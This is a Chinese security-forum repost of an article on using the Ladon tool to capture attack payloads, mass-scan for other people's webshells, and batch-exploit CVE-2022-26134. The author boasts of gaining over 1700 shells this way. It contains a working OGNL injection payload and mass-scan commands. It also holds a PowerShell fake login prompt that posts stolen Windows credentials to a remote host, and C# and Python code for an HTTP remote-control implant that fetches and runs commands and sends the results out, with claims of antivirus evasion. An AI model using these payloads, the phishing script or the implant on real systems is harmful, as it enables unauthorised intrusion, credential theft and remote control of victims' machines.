安全矩阵

 找回密码
 立即注册
搜索
查看: 315|回复: 0

Ladon捕获0day payload批量getshell

[复制链接]

155

主题

174

帖子

1450

积分

金牌会员

Rank: 6Rank: 6

积分
1450
发表于 2022-8-7 11:31:54 | 显示全部楼层 |阅读模式
Ladon捕获0day payload批量getshell
转载于: k8gege [url=]K8实验室[/url] 2022-08-03 23:31 发表于广西
收录于合集
#Ladon36个
#LadonExp3个
#漏洞复现6个
#EXP7个
#getshell1个
背景
使用2011版菜刀访问某个webshell,发现被WAF拦截,,使用2016版可连,想看一下两者的发包特征,搭个IIS、Apache、Nginx、Tomcat环境来看post数据,默认中间件不显示这些数据,有些人可能压根就不会搭,你本意只是想看个发包,还要浪费时间去搭环境?当然也可以使用WireShark等抓包工具,但是又不会用怎么办?没事使用Ladon一条命令就搞定,非常简单。以前教大家用过Ladon的web模块捕获windows密码、获取无回显RCE漏洞命令回显、架设WEB远程下载payload、测试漏洞等,实际上还有很多用途,比如捕获0day、捕获工具payload等

Waf拦截菜刀,无法访问webshell

0x001 Ladon捕获payload
使用 Ladon web 800 命令,一键架设迷你web服务器,将菜刀webshell地址改为ladon的web地址,连接菜刀,可以看到2011版菜刀发包特征为%40eavl%01%28base64_decode,很多WAF都可以轻易拦截。以前我发过针对一过狗菜刀被人插入后门的分析文章,由于菜刀发包基本都是Base64和URL编码,所以黑客加入后门,我们也能轻易分析出来,只是需要花时间对各类功能抓包,或者直接逆向分析,对菜刀通讯感兴趣可以看以前的文章。

同样的方法,抓取2016版菜刀payload,看到特征已进行分离可以过这个站的waf,由于2016版默认UA为百度,所以将其改为必应或google等都可以,当然通过Ladon监听来看UA是否修改成功,如下图UA已改为必应。

0x002 LadonExp提交
将抓到的payload放到post数据框,填写webshell地址,点击生成EXE,然后测试,成功回显webshell所在物理路径,以及机器名、操作系统版本等信息

Ladon提交这个包有什么用?
假设这个webshell是别人的,可能在其它站也留有相同文件名相同密码的webshell,特别是利用某个洞批量的,或者说使用一些EXP工具打的时候未修改默认密码,特别是批量那些,不确定目标是否重要时,不会去修改密码,但可能目标已经打了补丁,这时我们可以通过别人的webshell进入,但由于组织很多,我们压根不知道哪些组织打了哪些站点,所以只能把这些组织的shell以及发包特征记录下来,本地模拟成功后,批量去扫,捡别人的鱼。

由于Ladon的web只支持html,并不支持asp\php\jsp等动态脚本,所以没办法模拟菜刀成功连接后,后续的功能,所以只能监听到首次发包payload。为了能更好的批量扫描webshell,我们改用WireShark抓包。

因为不同的站点使用的操作系统不一样,未必返回共性结果,所以我们使用Echo输出IsWebShell做为回显特征,当然你抓到不同的webshell,可以返回其它特征,本文只是例子,你也可以输出xxxx-88-ttt,用一个特征,不要用webshell这种字眼,万一哪些waf杀这个字符串呢是吧,所以要举一反三。LadonEXP测试wireshark抓到的命令执行包,成功回显特征IsWebShell。

0x003 Ladon批量扫描WebShell

为了批量扫描时回显结果更好看,我们填写Poc特征X@YIswebshell,还有回显名称可以随便起个名子,如ISwebshell

webshell路径为wp58/x.php,实战别人的webshell地址可能是/auth/exchange.aspx 或者zimbra邮箱的/pulic/shell.jsp。重新生成POC,测试成功回显IsWebShell,不再有其它结果,批量时我们只看IP或者URL是否带有我们指定的特征就知道是否存在相同webshell了。
正在上传…重新上传取消

批量命令






Ladon ip.txt poc.dll   扫描IP列表Ladon url.txt poc.dll  扫描URL列表Ladon ip/24  poc.dll   扫描C段Ladon ip/b  poc.dll    扫描B段Ladon cidr.txt poc.dll  扫cidr列表(如指定国家IP段)
其实重要的目标也一样,假如我们通过漏洞拿到权限,发现了别人的后门,即使用了复杂密码,也可以直接扫它的密码啊,不是只能扫默认或简单的。

当然我们也可以批量执行其它命令,比如检测Zimbra版本、unrar版本等,方便研究相关漏洞,在大量实战环境下验证并完善的POC或工具才是好工具
检测目标是否安装unrar,思路是这样的因为zimbra反垃圾邮件解压RAR附件,就必须安装unrar,如果不安装,要是有人发有害的RAR是不是垃圾邮件就不检测了,相当于功能作废,有些管理员可能稍微懂一点,怕垃圾邮箱检测不到RAR里面的恶意程序,因此安装unrar呢?当然我们也知道安装unrar的概率极低,但事后验证思路确实可行,发上几个权限。针对检测出来的几个权限测试CVE-2022-30333漏洞,成功一半,就是这个路径泄露漏洞存在,但不代表100%成功,很多人测试只成功一半,认为只是成功的那些没打补丁,实际上没打补丁也没成功,因为我们有权限验证,在本身安装量小,EXP又不能保证100%成功的条件下,可能目标还装补丁,或者邮件服务器杀软检测的情况下,这种概率就更低了,说实话指定目标,确实一个没中,但我们不放弃任何一个可能性,因为不做成功率是0,做最差的结果就是0,成功就是1,光脚不怕穿鞋,还好加上点运气,发中几个。

0x004 捕获0day、1day
不知道大家有没发现,现在随便在一台VPS上开启个端口,几天之内,就有好几个扫描器光顾。有类似shodan这种搜索引擎识别资产的,也有勒索病毒这种乱扫的,当然也有一些组织使用0day或1day全网扫描的。








Ladon web 80 > 80.txtLadon web 8080 > 8080.txtLadon web 443> 443.txtLadon web 8443> 8443.txtLadon web 10000> 10000.txtLadon web 7071> 7071.txt
想抓哪个端口,就监听哪个端口,当然越多越好,因为不同WEB应用,可能有它的特定端口,别人扫特定漏洞的包你可以轻松记录下来,看到没见过的POC,它不就是0day咯,当然这个概率可能比较低,或者抓到的是不太重要的0day,真正重要的如exchange、zimbra这些,可能需要高仿一些重要机构站点,才能骗到别人使用0day,针对这类0day,是不可能乱扫的,除非它是公开的才会用它来全网扫,如proxyShell等github上公开的exp利用。

0x005 快速利用EXP
假设我们抓到的是GET方式提交的CVE-2022-26134远程执行漏洞的EXP,在addurl填下以下Payload,因为这个是通用的,当我们打不同的站,就是不同的URL,所以TargetURL就是变量,其它参数就是填那些共用的。


/%24%7b(%23a=%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%22id%22).getInputStream()%2c%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22%2c%23a))%7d/
点击编译EXE或DLL,然后测试,成功返回ID命令执行结果,由于在POC里测试返回头字段Cmd-Response,不存在漏洞的站没有该返回头。所以可以设置POC特征PocTag值为Cmd-Response,因为漏洞是CVE-2022-26134,所以Poc名称我们也设置为CVE-2022-26134,批量扫描时回显漏洞编号方便利用。


PS:如果想查看完整结果,就没必要像文章这样设置,比如可以把ID改成其它命令,直接批量做对应的事,getshell啊,不是说只能返回个漏洞编号。

独立使用


cve-2022-26134.exe http://xxx.xxx.xxx:8090
批量命令


Ladon url.txt cve-2022-26134.dll  扫描URL
该漏洞在6月份刚出来时,批量扫一些地区大约获取1700+权限,几天后一些站点也打了补丁。截至发文已过2个月,但还有一些站存在漏洞,大家还是可以抓几个来练习内网,再过两周或一个月,或许连几十个都扫不到了,当然我们没有针对全网,只针对一些地区而已。

0x006 监听获取工具exp
对于WEB利用工具,我们也可以把目标IP设为Ladon监听的WEB站点,执行工具后,Ladon即可截获到POC,如图所示S2-045通过POST提交payload执行whoami命令,我们拿到的POC可以用其它语言编写,或修改POC绕过WAF,毕竟以下工具很久不维护了,遇到有WAF的站点,就算不打补丁,也利用不成功,在有漏洞又有WAF的情况下就需要自己修改POC了。当然这前掉是你懂得改,只会用工具,抓出来顶多也就是拿去打没WAF的站,或者说那个WAF没针对本文工具发包进行拦截。

PS:其它工具或EXP,你也可以通过该方法快速获取,不用开什么抓包工具,在一堆请求包中查找,麻烦,大部分WEB漏洞的发包,直接Ladon监听

0x007 Ladon捕获Windonws登陆密码
版本
>= Ladon 6.6.3 内置基础认证密码解密模块,直接获取明文
###
原理
使用PowerShell模仿Windows登陆认证获取管理员密码,Ladon监听捕获基础认证密码。
###
应用场景
域控或管理员密码获取,当前权限很低又无法提权时。(有权限直接读明文或HASH)
###
Ladon监听
该功能模仿了MSF里的基础认证监听模块,但最大的优势在于无需占用系统大量空间和内存。可直接部署在目标内网或VPS上,也无需复杂命令,直接输以下命令一键监听自动捕获密码。
Ladon Web 800
###
PowerShell代码
执行以下脚本代码,会弹出十分逼真的基础认证登陆窗口,自动获取用户名和域来提高真实性。当然也可以使用其它脚本或语言,如JS水坑攻击、XSS截取各种WEB邮箱密码等等多种钩鱼姿势。























$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};Add-Type @'using System;public class Authorization{public static void submit(string usr,string pwd){string url = "http://192.168.1.110:8000/";System.Net.HttpWebRequest myReq = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(url);string username = usr;string password = pwd;string usernamePassword = username + ":" + password;System.Net.CredentialCache mycache = new System.Net.CredentialCache();mycache.Add(new Uri(url), "Basic", new System.Net.NetworkCredential(username, password));myReq.Credentials = mycache;myReq.Headers.Add("Authorization", "Basic " + Convert.ToBase64String(new System.Text.ASCIIEncoding().GetBytes(usernamePassword)));System.Net.WebResponse wr = myReq.GetResponse();}}'@[Authorization]::submit($cred.username, $cred.getnetworkcredential().password)
0x008 内网文件传输
使用Ladon web架设站点,在内网中使用curl、wget、powershell等命令下载文件,到内网不可出网机器。当然外网也可以,部署在VPS上,一键起WEB,对于一些webshell无法通过管理工具上传文件,但可以通过下载方式传文件时,在VPS搭个IIS、APACHE、Nginx、Tomcat等可能比较费时间,特别是网络卡时,上传下载都麻烦,但是Ladon远比以上工具小,而且仅需一条命令,即可开启安全的WEB。

0x009 获取目标外网IP
在VPS上一键开启WEB后,目标访问http://vpsIP/ip.jpg,返回目标外网IP

0x010 检测目标是否允许HTTP出网
在VPS上一键开启WEB后,目标访问http://vpsIP/任意文件,查看Ladon是否出现请求即可验证HTTP是否出网。

0x011 简易HTTP远控
有些人比较死脑筋,明明第10条就是足以验证是否可HTTP出网,但是M有问题,非要说我在其它机子HTTP可以上线啊,肯定是目标有什么超牛B杀软。但又不去验证,但是想知道目标到底有没牛B杀软,直接通过WEB下发一条CMD命令,执行并返回结果给它就知道了,如果压根不加密,就直接通讯的情况下,目标都不拦,还不足以证明就是M的兼容性问题吗?非要在Githut上或自己拿一些绝对被杀的M,丢好几个上去种,证明确实是M的问题吗?有些人还说Ladon这个WEB不能代表真的HTTP,尼码这么死脑筋,那你也可以自己按装个IIS、APACHE、NGINX等WEB中间件搭个站点来测啊。Ladon的web专为渗透设计的,没有那些中间件支持解析运态脚本的功能,但是当成个简单的HTML网站还是可以的,这些完全可以用来做很多事,包括内网测试一些需要向外请求的DOC、PDF、浏览器等远程漏洞,如飞刀几年前提供的Word漏洞、IE漏洞等,你只需要请求个页面,又不是非要支持解析ASP\PHP\JSP这些,实际上那些IIS什么解析脚本最终也是向浏览器返回静态内容,Ladon直接返回静态内容,让你下载EXE、任意文件,你测个HTTP协议是否出网是完全没问题的,好了废话不多说,让大家了解一下CS通信原理。

前言
写了几篇无回显命令执行漏洞Ladon回显方法,接下来我们它升级,既然我们可以通过漏洞执行无回显命令都可以得到回显,那么我们自己写的程序不是更轻而易举吗?所谓远控不过就是通过各种协议传输攻击者的操作指令与结果而已。早期都是用TCP协议实现,之后FTP、HTTP(什么网盘、邮箱、博客等都是并非什么新方式只是换个网址或API而已),大家常用的CS也是HTTP协议,本文用Ladon来实现个简单的C2。
###
启动WEBLadon web 800
参数
/ip.txt or ip.jpg        Get Target WanIP/getstr/AnyString        Get Request String/getb64/AnyString        Base64 Encode (Request String)/deb64/Base64String      Base64 Decode (Request String)/deb64txt/Base64String      Base64 Decode Save TXT浏览器回显
由于是HTTP协议,可以通过浏览器访问得到Ladon回显BASE64解密结果,就是说我们只要通过命令行发送HTTP请求即可在Ladon控制台看到命令执行后的结果。getstr为发送明文,但是结果中有特殊字符或换行就无法HTTP请求了,所以我们使用BASE64加密,这个原理我们在JAVA反序列化漏洞回显中有提到过。
明文回显
Base64回显
保存txt
HTTP C2原理
1.搭建WEB,可Apache、IIS、Tomcat或者自己研发如Ladon、CobaltStrike 2.通过HTTP协议获取指令、回传结果 3.指令执行功能(CMD执行、文件上传下载、其它功能等)
try{    //首先在VPS上执行命令: Ladon web 800 一键启动服务器    //其次在Ladon根目录下放cmd.txt,里面存放要执行的命令   //第一步 获取命令  string url = "http://192.168.250.27:800/cmd.txt";   string cmd = httpget(url);  //第二步 执行命令  string result = execcmd(cmd);   //第三步 发送结果  //httpget("http://192.168.250.27:800/getstr/"+result);  //第三步 发送结果 Base64加密支持多行结果   httpget("http://192.168.250.27:800/deb64/" + Base64_encodeUTF8(result));}catch (Exception s){   Console.WriteLine("Error: " + s.Message);}
PS: 定时执行如设定5秒,就和CS原理一样了
###
HTTP下达指令、接收结果代码
既然是通过HTTP实现的,那么我们当然是通过HTTP下达指令,我们可以把指令放在cmd.txt中,然后通过HTTP读取TXT内容,这不就是相当于下达指令了吗?读取到CMD后,执行CMD再将结果通过HTTP回传,所以我们可以使用同一个方法,只是下达指令和接收结果是不同URL而已。
private static string httpget(String url){  HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);    request.Method = "GET"; request.Accept = "*/*"; HttpWebResponse response = (HttpWebResponse)request.GetResponse();  Stream getStream = response.GetResponseStream();    StreamReader streamreader = new StreamReader(getStream);    string result = streamreader.ReadToEnd();   Console.WriteLine(result);  return result;}
执行CMD通过getstr接收明文结果
执行CMD代码
接收到的CMD,通过此代码执行命令并获取结果。列目录、文件下载等其它功能同理
private static string execcmd(string cmd){  Process CmdProcess = new Process(); CmdProcess.StartInfo.FileName = "cmd.exe";  CmdProcess.StartInfo.CreateNoWindow = true; CmdProcess.StartInfo.UseShellExecute = false;   CmdProcess.StartInfo.RedirectStandardInput = true;  CmdProcess.StartInfo.RedirectStandardOutput = true; CmdProcess.StartInfo.RedirectStandardError = true;  CmdProcess.StartInfo.Arguments = "/c " + cmd;   CmdProcess.Start(); string result = CmdProcess.StandardOutput.ReadToEnd();  CmdProcess.WaitForExit();   CmdProcess.Close(); return result;}
###
Base64加密代码
由于明文传输不支持多行结果,将会导致很多命令无法通过GET方式取回显,所以我们可通过BASE64回传,既不直接暴露CMD结果,也解决了多行结果无法回显问题。
public static string Base64_encodeUTF8(string str){ return Convert.ToBase64String(Encoding.UTF8.GetBytes(str));}
BASE64加密的结果传到Ladon后会自动解密,用IIS、Apache等无此功能(省去脚本编写)
win10 Defender免杀
测试win10最新版defender轻松免杀


免杀virscan所有杀软
显然很多杀软很垃圾的,对于自己写的RAT依旧轻松免杀
###
以色列杀软牛B
突然想起还有一个杀软网站,测试后发现被以色列杀软杀了,这种出现HTTP请求和CMD执行的,那些不杀的杀软,至少也要报个可疑才对。居然不报,还是以色列牛逼
###
Python实现C2
使用PY实现就更简单了,我们可直接套用之前CS假上线的代码,稍微修改加上命令执行即可,参考: 看我如何模拟Cobalt Strike上线欺骗入侵者 | K8哥哥’s Blog

import urllib2import timeimport osimport base64### Cobalt Strike Cheat by K8gege### http://k8gege.org/p/40523.htmldef cscheat():    opener = urllib2.build_opener() res = opener.open("http://192.168.250.27:800/cmd.txt")  cmd = res.read()    print cmd   result = os.popen(cmd)      res = result.read()     cmdResult=""    for line in res.splitlines():       cmdResult+=line+"\r\n"  print cmdResult #opener.open("http://192.168.250.27:800/getstr/"+cmdResult) opener.open("http://192.168.250.27:800/deb64/"+base64.b64encode(cmdResult))while True:      print(time.strftime('%Y-%m-%d %X',time.localtime()))        cscheat()   time.sleep(5)
PS: 实战需要自己加工修改,本文只是简单原理演示

0x012 无回显漏洞命令回显方法
无回显命令执行漏洞之PowerShell回显JAVA反序列化漏洞命令执行回显方法log4Shell核弹级漏洞复现&Ladon批量检测
PS: 本文主讲的是Ladon一百六十个功能中的其中一个,就可在很多场景下使用,是否强大得让你害怕,起名Ladon,希腊神话中的百头巨龙,不过份吧。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2022-10-5 23:39 , Processed in 0.014323 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表